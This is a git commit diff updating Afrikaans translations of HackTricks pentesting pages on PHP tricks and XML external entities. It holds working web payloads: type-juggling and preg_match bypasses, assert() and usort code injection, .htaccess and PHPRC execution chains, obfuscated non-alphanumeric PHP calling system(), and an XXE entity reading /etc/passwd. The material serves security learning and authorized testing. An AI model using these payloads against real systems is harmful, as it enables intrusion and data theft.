Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R

This commit is contained in:
Translator 2024-04-07 23:04:53 +00:00
parent f77b30f7c9
commit 6b9c75176f
3 changed files with 153 additions and 157 deletions

View file

@ -8,12 +8,16 @@ Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Koekies algemene plek:
Dit is ook geldig vir phpMyAdmin-koekies.
@ -43,10 +47,10 @@ PHP-vergelykingstabelle: [https://www.php.net/manual/en/types.comparisons.php](h
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` 'n String wat nie met 'n nommer begin nie, is gelyk aan 'n nommer
* `"0xAAAA" == "43690" -> True` Strings saamgestel deur nommers in desimale of heksadesimale formaat kan vergelyk word met ander nommers/strings met True as resultaat as die nommers dieselfde was (nommers in 'n string word geïnterpreteer as nommers)
* `"0e3264578" == 0 --> True` 'n String wat met "0e" begin en gevolg deur enigiets, sal gelyk wees aan 0
* `"0xAAAA" == "43690" -> True` Strings saamgestel deur nommers in desimale of heksadesimale formaat kan vergelyk word met ander nommers/strings met 'n ware resultaat as die nommers dieselfde was (nommers in 'n string word geïnterpreteer as nommers)
* `"0e3264578" == 0 --> True` 'n String wat met "0e" begin en gevolg word deur enigiets, sal gelyk wees aan 0
* `"0X3264578" == 0X --> True` 'n String wat met "0" begin en gevolg word deur enige letter (X kan enige letter wees) en gevolg word deur enigiets, sal gelyk wees aan 0
* `"0e12334" == "0" --> True` Dit is baie interessant omdat in sommige gevalle jy die string invoer van "0" kan beheer en sommige inhoud wat gehash en daarmee vergelyk word. Daarom, as jy 'n waarde kan voorsien wat 'n hash sal skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking oorskry. Jy kan **reeds gehasde strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"0e12334" == "0" --> True` Dit is baie interessant omdat jy in sommige gevalle die string-invoer van "0" kan beheer en 'n paar inhoud wat gehash en daarmee vergelyk word, kan voorsien. Daarom, as jy 'n waarde kan voorsien wat 'n hash sal skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking oorskry. Jy kan **reeds gehashte strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Enige letter in 'n string is gelyk aan int 0
Meer inligting in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -63,28 +67,28 @@ var_dump(in_array(0, $values, true));
```
### strcmp()/strcasecmp()
Indien hierdie funksie gebruik word vir **enige verifikasie kontrole** (soos die wagwoordkontrole) en die gebruiker beheer een kant van die vergelyking, kan hy 'n leë array stuur in plaas van 'n string as die waarde van die wagwoord (`https://example.com/login.php/?username=admin&password[]=`) en sodoende hierdie kontroleer omseil:
Indien hierdie funksie gebruik word vir **enige verifikasie kontrole** (soos die wagwoordkontrole) en die gebruiker beheer een kant van die vergelyking, kan hy 'n leë array stuur in plaas van 'n string as die waarde van die wagwoord (`https://example.com/login.php/?username=admin&password[]=`) en sodoende hierdie kontrole omseil:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
Die dieselfde fout kom voor met `strcasecmp()`
Die dieselfde fout gebeur ook met `strcasecmp()`
### Streng tipe Jonglering
Selfs as `===` **gebruik word** kan daar foute wees wat die **vergelyking vatbaar maak** vir **tipe jonglering**. Byvoorbeeld, as die vergelyking die data **omskakel na 'n ander tipe voorwerp voordat dit vergelyk word**:
Selfs as `===` **gebruik word**, kan daar foute wees wat die **vergelyking vatbaar maak** vir **tipe jonglering**. Byvoorbeeld, as die vergelyking die data na 'n ander tipe voorwerp omskakel voordat dit vergelyk word:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)
**`preg_match()`** kan gebruik word om **gebruikersinvoer te valideer** (dit **kontroleer** of enige **woord/regex** van 'n **swartlys** teenwoordig is in die **gebruikersinvoer** en as dit nie is nie, kan die kode voortgaan met sy uitvoering).
**`preg_match()`** kan gebruik word om **gebruikersinsette te valideer** (dit **kontroleer** of enige **woord/regex** van 'n **swartlys** teenwoordig is in die **gebruikersinset** en as dit nie is nie, kan die kode voortgaan met sy uitvoering).
#### Nuwe lyn omseiling
#### Nuwe lyn omseil
Maar, wanneer die begin van die regexp afgebaken word, `preg_match()` **kontroleer slegs die eerste lyn van die gebruikersinvoer**, dus as jy die invoer op een of ander manier in **verskeie lyne kan stuur**, kan jy hierdie kontrole omseil. Voorbeeld:
Maar, wanneer die begin van die regexp afgebaken word, `preg_match()` **kontroleer slegs die eerste lyn van die gebruikersinset**, dan as jy op een of ander manier die inset in **verskeie lyne kan stuur**, kan jy hierdie kontrole omseil. Voorbeeld:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -97,7 +101,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Om hierdie kontrole te omseil, kan jy die waarde stuur met nuwe lyne urlencoded (`%0A`) of as jy JSON data kan stuur, stuur dit in verskeie lyne:
Om hierdie kontrole te omseil, kan jy die waarde stuur met nuwe lyne urlencoded (`%0A`) of as jy JSON-data kan stuur, stuur dit in verskeie lyne:
```php
{
"cmd": "cat /etc/passwd"
@ -107,24 +111,24 @@ Vind 'n voorbeeld hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://r
#### **Lengte fout omseiling**
(Hierdie omseiling is blykbaar probeer op PHP 5.2.5 en ek kon dit nie werk kry op PHP 7.3.15 nie)\
As jy 'n geldige baie **groot inset** aan `preg_match()` kan stuur, sal dit **nie in staat wees om dit te verwerk** nie en jy sal die kontrole kan **omseil**. Byvoorbeeld, as dit 'n JSON op 'n swartlys plaas, kan jy stuur:
(Die omseiling is blykbaar probeer op PHP 5.2.5 en ek kon dit nie werk kry op PHP 7.3.15)\
As jy 'n geldige baie **groot inset** aan `preg_match()` kan stuur, sal dit dit **nie kan verwerk nie** en jy sal die kontrole **kan omseil**. Byvoorbeeld, as dit 'n JSON op 'n swartlys plaas, kan jy stuur:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
#### ReDoS Omgang
#### ReDoS Omgewing
Truuk van: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
In kort gebeur die probleem omdat die `preg_*` funksies in PHP bou op die [PCRE-biblioteek](http://www.pcre.org/). In PCRE word sekere regulêre uitdrukkings deur middel van baie herhalende oproepe geëvalueer, wat baie stakspasie gebruik. Dit is moontlik om 'n limiet te stel op die hoeveelheid herhalings wat toegelaat word, maar in PHP is hierdie limiet [standaard 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stak pas.
In kort gebeur die probleem omdat die `preg_*` funksies in PHP bou op die [PCRE-biblioteek](http://www.pcre.org/). In PCRE word sekere regulêre uitdrukkings gematch deur 'n baie van herhalende oproepe te gebruik, wat baie stakingspasie gebruik. Dit is moontlik om 'n limiet te stel op die hoeveelheid herhalings wat toegelaat word, maar in PHP is hierdie limiet [standaard 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stak pas nie inpas nie.
[Hierdie Stackoverflow-draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) is ook gekoppel in die pos waar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\
**Stuur 'n inset wat die regex 100\_000+ herhalings laat doen, wat SIGSEGV veroorsaak, die `preg_match()` funksie `false` laat teruggee en sodoende die aansoek laat dink dat ons inset nie skadelik is nie, en aan die einde van die payload iets soos `{system(<verybadcommand>)}` gooi om SSTI --> RCE --> vlag te kry :)**.
[Hierdie Stackoverflow-draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) was ook gekoppel in die pos waar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\
**Stuur 'n inset wat die regex 100\_000+ herhalings laat doen, wat SIGSEGV veroorsaak, die `preg_match()` funksie `false` laat terugkeer en sodoende die aansoek laat dink dat ons inset nie skadelik is nie, en die verrassing aan die einde van die payload iets soos `{system(<verybadcommand>)}` gooi om SSTI --> RCE --> vlag te kry :)**.
Wel, in regex-terme doen ons eintlik nie 100k "herhalings" nie, maar in plaas daarvan tel ons "terugspoorslagstappe", wat soos die [PHP-dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) dit stel, is dit standaard 1\_000\_000 (1M) in die `pcre.backtrack_limit` veranderlike.\
Om dit te bereik, sal `'X'*500_001` lei tot 1 miljoen terugspoorslagstappe (500k vorentoe en 500k agtertoe):
Wel, in regex-terme doen ons eintlik nie 100k "herhalings" nie, maar in plaas daarvan tel ons "terugspoelstappe", wat soos die [PHP-dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) dit standaard tot 1\_000\_000 (1M) in die `pcre.backtrack_limit` veranderlike.\
Om dit te bereik, sal `'X'*500_001` lei tot 1 miljoen terugspoelstappe (500k vorentoe en 500k agtertoe):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
@ -139,9 +143,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## Voer Uit Na Omleiding (EAR)
## Uitvoer Na Omleiding (EAR)
As PHP na 'n ander bladsy omleiding doen, maar geen **`die`** of **`exit`** funksie word **na die stel van die `Location` header** geroep nie, gaan PHP voort met die uitvoer en voeg die data by die liggaam:
As PHP na 'n ander bladsy omleiding maar geen **`die`** of **`exit`** funksie word **geroep nadat die `Location` kop geset is**, gaan PHP voort met die uitvoer en voeg die data by die liggaam:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -151,9 +155,9 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Pad Traversal en Lêer Insleep Exploitasie
## Padtraversering en Lêerinsluiting Uitbuiting
Kyk:
Kontroleer:
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
[file-inclusion](../../../pentesting-web/file-inclusion/)
@ -161,16 +165,16 @@ Kyk:
## Meer truuks
* **register\_globals**: In **PHP < 4.1.1.1** of indien verkeerd geconfigureer, **register\_globals** mag aktief wees (of hul gedrag word nageboots). Dit impliseer dat in globale veranderlikes soos $\_GET as hulle 'n waarde het bv. $\_GET\["param"]="1234", kan jy dit benader via **$param. Dus, deur HTTP parameters te stuur kan jy veranderlikes oorskrywe** wat binne die kode gebruik word.
* Die **PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor**, daarom as binne 'n domein **verskillende koekies in verskillende paaie** gebruik word kan jy maak dat 'n pad **die koekie van die pad benader** deur die waarde van die ander pad se koekie in te stel.\
Op hierdie manier, as **beide paaie 'n veranderlike met dieselfde naam benader** kan jy maak dat die **waarde van daardie veranderlike in pad1 van toepassing is op pad2**. En dan sal pad2 die veranderlikes van pad1 as geldig aanvaar (deur die koekie die naam te gee wat daarmee ooreenstem in pad2).
* Wanneer jy die **gebruikersname** van die gebruikers van die masjien het. Kyk na die adres: **/\~\<USERNAME>** om te sien of die php-gidse geaktiveer is.
* **register\_globals**: In **PHP < 4.1.1.1** of indien verkeerd ingestel, kan **register\_globals** aktief wees (of hul gedrag word nageboots). Dit impliseer dat in globale veranderlikes soos $\_GET as hulle 'n waarde het bv. $\_GET\["param"]="1234", kan jy dit benader via **$param. Daarom, deur HTTP parameters te stuur, kan jy veranderlikes oorskrywe** wat binne die kode gebruik word.
* Die **PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor**, daarom as binne 'n domein **verskillende koekies in verskillende paaie** gebruik word, kan jy maak dat 'n pad **die koekie van die pad benader** deur die waarde van die ander pad se koekie in te stel.\
Op hierdie manier, as **beide paaie 'n veranderlike met dieselfde naam benader**, kan jy maak dat die **waarde van daardie veranderlike in pad1 van toepassing is op pad2**. En dan sal pad2 die veranderlikes van pad1 as geldig aanvaar (deur die koekie die naam te gee wat daarmee ooreenstem in pad2).
* Wanneer jy die **gebruikersname** van die gebruikers van die masjien het. Kontroleer die adres: **/\~\<USERNAME>** om te sien of die php-gidse geaktiveer is.
* [**LFI en RCE deur php wrappers te gebruik**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
Hierdie funksies word tipies in PHP gebruik om **hasse van wagwoorde te genereer** en om te **kontroleer** of 'n wagwoord korrek is in vergelyking met 'n has.\
Die ondersteunde algoritmes is: `PASSWORD_DEFAULT` en `PASSWORD_BCRYPT` (begin met `$2y$`). Let daarop dat **PASSWORD\_DEFAULT dikwels dieselfde as PASSWORD\_BCRYPT is.** En tans het **PASSWORD\_BCRYPT** 'n **groottebeperking in die inset van 72 byte**. Daarom, as jy probeer om iets groter as 72 byte met hierdie algoritme te has, sal slegs die eerste 72B gebruik word:
Die ondersteunde algoritmes is: `PASSWORD_DEFAULT` en `PASSWORD_BCRYPT` (begin met `$2y$`). Let daarop dat **PASSWORD\_DEFAULT dikwels dieselfde as PASSWORD\_BCRYPT is.** En tans het **PASSWORD\_BCRYPT** 'n **groottebeperking in die inset van 72 byte**. Daarom, wanneer jy iets probeer hash wat groter as 72 byte is met hierdie algoritme, sal slegs die eerste 72B gebruik word:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -178,9 +182,9 @@ False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### HTTP koppe om PHP-foute te misbruik omseil
### HTTP koppe ontduik PHP-foute deur te misbruik
Indien 'n **PHP-bladsy foute druk en sekere insette wat deur die gebruiker voorsien word terugskryf**, kan die gebruiker die PHP-bediener laat terugskryf met 'n **inhoud wat lank genoeg is**, sodat wanneer dit probeer om **die koppe by die antwoord te voeg**, die bediener 'n fout sal veroorsaak.\
As 'n **PHP-bladsy foute druk en 'n paar insette wat deur die gebruiker voorsien word, terugstuur**, kan die gebruiker die PHP-bediener laat terugstuur **van inhoud wat lank genoeg is**, sodat wanneer dit probeer om **die koppe by die antwoord te voeg**, die bediener 'n fout sal veroorsaak.\
In die volgende scenario het die **aanvaller die bediener groot foute laat veroorsaak**, en soos gesien kan word in die skerm toe php probeer om **die kopinligting te wysig, kon dit nie** (so byvoorbeeld is die CSP-kop nie aan die gebruiker gestuur nie):
![](<../../../.gitbook/assets/image (1082).png>)
@ -211,7 +215,7 @@ Hierdie opsie van preg\_replace is **verouder vanaf PHP 5.5.0.**
```
### **RCE via Assert()**
Hierdie funksie binne php stel jou in staat om **kode wat geskryf is in 'n string uit te voer** om **waar of vals terug te keer** (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruiker veranderlike in die middel van 'n string ingevoeg word. Byvoorbeeld:\
Hierdie funksie binne php stel jou in staat om kode uit te voer wat geskryf is in 'n string om waar of vals terug te gee (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruiker veranderlike in die middel van 'n string ingevoeg word. Byvoorbeeld:\
`assert("strpos($_GET['page']),'..') === false")` --> In hierdie geval om **RCE** te kry, kan jy:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
@ -224,7 +228,7 @@ Jy sal die kode sintaksie moet **breek**, jou **lading byvoeg**, en dit dan weer
### **RCE via usort()**
Hierdie funksie word gebruik om 'n lys items te sorteer met behulp van 'n spesifieke funksie.\
Hierdie funksie word gebruik om 'n lys items te sorteer deur 'n spesifieke funksie te gebruik.\
Om hierdie funksie te misbruik:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
@ -251,14 +255,14 @@ As jy 'n **.htaccess** kan **oplaai**, kan jy verskeie dinge **konfigureer** en
Verskillende .htaccess doppe kan hier gevind word [hier](https://github.com/wireghoul/htshells)
### RCE via Env Variables
### RCE via Omgewingsveranderlikes
As jy 'n kwesbaarheid vind wat jou toelaat om **omgewingsveranderlikes in PHP te wysig** (en nog een om lêers op te laai, alhoewel dit met meer navorsing dalk omseil kan word), kan jy hierdie gedrag misbruik om **RCE** te kry.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hierdie omgewingsveranderlike laat jou toe om willekeurige biblioteke te laai wanneer jy ander bineêre lêers uitvoer (alhoewel dit in hierdie geval dalk nie werk nie).
* **`PHPRC`** : Instrueer PHP oor **waar om sy konfigurasie lêer** te vind, gewoonlik genoem `php.ini`. As jy jou eie konfigurasie lêer kan oplaai, gebruik dan `PHPRC` om PHP daarheen te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP-kode wat dan uitgevoer word** deur die PHP-uitvoeringseenheid voor enige ander kode.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hierdie omgewingsveranderlike laat jou toe om willekeurige biblioteke te laai wanneer jy ander binêre lêers uitvoer (alhoewel dit in hierdie geval dalk nie werk nie).
* **`PHPRC`** : Instrueer PHP oor **waar om sy konfigurasie lêer te vind**, gewoonlik genoem `php.ini`. As jy jou eie konfigurasie lêer kan oplaai, gebruik dan `PHPRC` om PHP daarheen te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP-kode wat dan uitgevoer word** deur die PHP-uitvoertyd voor enige ander kode.
1. Laai 'n PHP-lêer op wat ons skelkode bevat
2. Laai 'n tweede lêer op wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP-voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer
2. Laai 'n tweede lêer op wat 'n **`auto_prepend_file`** rigtinggewende instruksie bevat wat die PHP-voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer
3. Stel die `PHPRC` veranderlike in op die lêer wat ons in stap 2 opgelaai het.
* Kry meer inligting oor hoe om hierdie ketting uit te voer [**vanaf die oorspronklike verslag**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - 'n ander opsie
@ -276,19 +280,19 @@ exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Indien jy 'n PHP-aansoek aan die foutopsporing is, kan jy foutdruk globaal aktiveer in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en Apache te herlaai: `sudo systemctl restart apache2`
Indien jy 'n PHP-toepassing aan die foutopsporing is, kan jy foutafdruk globaal aktiveer in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en Apache te herlaai: `sudo systemctl restart apache2`
### Ontsleuteling van PHP-kode
Jy kan die **web**[ **www.unphp.net**](http://www.unphp.net) **gebruik om PHP-kode te ontsluit.**
## PHP Omhulsels & Protokolle
## PHP-Omhulsels & Protokolle
PHP-omhulsels en protokolle kan jou in staat stel om **skryf- en leesbeskerming te omseil** in 'n stelsel en dit te kompromiteer. Vir [**meer inligting kyk na hierdie bladsy**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
PHP-Omhulsels en protokolle kan jou in staat stel om **skryf- en leesbeskerming te omseil** in 'n stelsel en dit in gevaar te stel. Vir [**meer inligting kyk na hierdie bladsy**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug ongeagte RCE
As jy sien dat **Xdebug** **geaktiveer** is in 'n `phpconfig()`-uitset, moet jy probeer om RCE te kry via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
As jy sien dat **Xdebug** **geaktiveer** is in 'n `phpconfig()` uitset, moet jy probeer om RCE te kry via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
## Veranderlike veranderlikes
```php
@ -319,8 +323,6 @@ As in 'n bladsy jy kan **'n nuwe objek van 'n willekeurige klas skep** kan jy mo
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**
XOR (Exclusive OR) is 'n logiese operasie wat dikwels gebruik word in kriptografie en programmering. Dit is 'n bietjiewysoperasie wat twee bietjies vergelyk en 'n nuwe bietjie produseer wat slegs waar is as die twee oorspronklike bietjies verskil. In kriptografie word XOR dikwels gebruik vir dataversleuteling en dataontsluiting. In programmering kan XOR gebruik word vir verskeie doeleindes, soos die omkeer van bietjies of die skep van unieke sleutels.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
@ -336,7 +338,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
So, as jy **arbitrêre PHP sonder syfers en letters kan uitvoer**, kan jy 'n versoek stuur soos die volgende wat misbruik maak van daardie lading om arbitrêre PHP uit te voer:
So, as jy **arbitrêre PHP sonder syfers en letters kan uitvoer**, kan jy 'n versoek stuur soos die volgende deur daardie lading te misbruik om arbitrêre PHP uit te voer:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
@ -403,16 +405,20 @@ $____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -6,23 +6,27 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## XML Basiese Beginsels
XML is 'n merktaal wat ontwerp is vir data-opberging en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywend benoemde etikette moontlik maak. Dit verskil van HTML deur nie beperk te wees tot 'n stel voorgedefinieerde etikette nie. XML se betekenis het afgeneem met die opkoms van JSON, ten spyte van sy aanvanklike rol in AJAX-tegnologie.
* **Dataverteenwoordiging deur Entiteite**: Entiteite in XML maak die verteenwoordiging van data moontlik, insluitend spesiale karakters soos `&lt;` en `&gt;`, wat ooreenstem met `<` en `>` om konflik met XML se etiketsisteem te voorkom.
* **Definisie van XML-elemente**: XML maak die definisie van elementtipes moontlik, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat strek van enige tipe inhoud tot spesifieke kinderlemente.
* **Dokumenttipe-definisie (DTD)**: DTD's is noodsaaklik in XML vir die definisie van die dokument se struktuur en die tipes data wat dit kan bevat. Hulle kan intern, ekstern, of 'n kombinasie wees, wat rigting gee oor hoe dokumente geformateer en geverifieer moet word.
* **Aangepaste en Eksterne Entiteite**: XML ondersteun die skepping van aangepaste entiteite binne 'n DTD vir buigsame dataverteenwoordiging. Eksterne entiteite, gedefinieer met 'n URL, veroorsaak sekuriteitskwessies, veral in die konteks van XML Eksterne Entiteit (XXE)-aanvalle, wat die manier waarop XML-parsets eksterne data-bronne hanteer, benut: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **XXE Opset met Parameter Entiteite**: Vir die opsporing van XXE-gebreke, veral wanneer konvensionele metodes faal as gevolg van parset-sekuriteitsmaatreëls, kan XML-parameter-entiteite gebruik word. Hierdie entiteite maak out-of-band opsporingstegnieke moontlik, soos die teweegbring van DNS-opsoeke of HTTP-versoeke na 'n beheerde domein, om die kwesbaarheid te bevestig.
* **Data Voorstelling deur Entiteite**: Entiteite in XML maak die voorstelling van data moontlik, insluitend spesiale karakters soos `&lt;` en `&gt;`, wat ooreenstem met `<` en `>` om konflik met XML se etiketsisteem te vermy.
* **Definisie van XML Elemente**: XML maak die definisie van elementtipes moontlik, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat strek van enige tipe inhoud tot spesifieke kinderlemente.
* **Dokument Tipe Definisie (DTD)**: DTD's is noodsaaklik in XML vir die definisie van die dokument se struktuur en die tipes data wat dit kan bevat. Hulle kan intern, ekstern, of 'n kombinasie wees, wat riglyne bied oor hoe dokumente geformateer en gevalideer word.
* **Aangepaste en Eksterne Entiteite**: XML ondersteun die skepping van aangepaste entiteite binne 'n DTD vir buigsame data-voorstelling. Eksterne entiteite, gedefinieer met 'n URL, veroorsaak sekuriteitskwessies, veral in die konteks van XML Eksterne Entiteit (XXE)-aanvalle, wat die manier waarop XML-parsets eksterne data-bronne hanteer, benut: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **XXE Opset met Parameter Entiteite**: Vir die opsporing van XXE kwesbaarhede, veral wanneer konvensionele metodes faal as gevolg van parset-sekuriteitsmaatreëls, kan XML-parameter-entiteite gebruik word. Hierdie entiteite maak out-of-band opsporingstegnieke moontlik, soos die teweegbring van DNS-opsoeke of HTTP-versoeke na 'n beheerde domein, om die kwesbaarheid te bevestig.
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
